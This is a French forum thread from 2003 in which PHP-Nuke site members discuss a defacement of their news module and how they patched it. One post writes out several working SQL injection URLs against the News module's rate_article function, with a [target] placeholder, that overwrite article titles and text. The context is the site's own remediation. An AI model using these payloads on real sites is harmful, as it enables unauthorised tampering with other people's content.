53 réponses à ce sujet

[yoda]

QUOTE (Toine @ sam 17 mai 2003, 08:34)

... alors qu'y a une fonction toute belle qui remplace toute entitée html par son code html ...

j'ai oublie de dire le nom de la focntion ... lol : htmlentities() !

[neo]

c trouvé sur le site phpnuke.org, mais si tu veux je t'envoie mon mainfile.php, et tu corrige non ? Y'avait un truc qui mettait les caracrère en ses homologue html, mais si tu foutais une balise dans une news, bah ca merdait...

[Yoz]

et c'est reparti

[yoda]

koi qu'est repartis ? faut pas pleurer mon ch'tit yoz ...

[skargo2000]

vi koi ?

[yoda]

moteuuuuuuuuuur, sa tourne, hackage, deuxième ... clack

[skargo2000]

en direct en pluche !! pdt que neo regardait les failles d'overmods ! lol

[Malouk]

Il faut faire une modif dans le code du fichier index.php du module news, pas uniquement dans le mainfile.php.

Un patch correctif est sorti il y a quelques semaines pour la version 6.5 de Nuke.

Il est dispo ici.

Bon c'est pour la 6.5, mais en examinant le code, ça vous aidera peut-être a trouver la faille

[neo]

En fait j'ai fait plus con, paske leur truc de secu fonctionnait pas sur tous les hébergements, alors comme la fonction incriminée était le truc pour voter pour les article, bah l'ai viré et voilà le résultat :

Pour changer l'intro :
http://[target]/modules.php?name=News&op=rate_article&score=2,%20hometext='New%20Home%20Text'&sid=1
Pour changer l'article :
http://[target]/modules.php?name=News&op=rate_article&score=2,%20bodytext='New%20Body%20Text'&sid=1
Pour changer les trois :
http://[target]/modules.php?name=News&op=rate_article&score=2,%20title='New%20Title',%20hometext='New%20Home%20Text',%20bodytext='New%20Body%20Text'&sid=1

Celle ci ne marchait pas alors il y en a une deuxième :

http://[target]/modules.php?name=News&op=rate_article&score=3,%20title=char(97,98,99,100)&sid=1

voilà ce que ça donne après utilisation de mon patch maison

http://www.info-g.co...8,99,100)&sid=3

Bon à quand la prochaine faille ?

[skargo2000]

tu t'amuses comme un fou toi ! lol

[neo]

vi je c

[Yoz]

oui c'est cor pire ca c'est kler, mais l'air de rien la réputation en prend un coup....

[neo]

bah on a pas baissé de visite, au contraire, on a même augmenter... faudrait ça plus souvent

[quentin]

Tant mieux que les visites ne descende pas

[Ante]

toi par contre tu devrais en descendre moins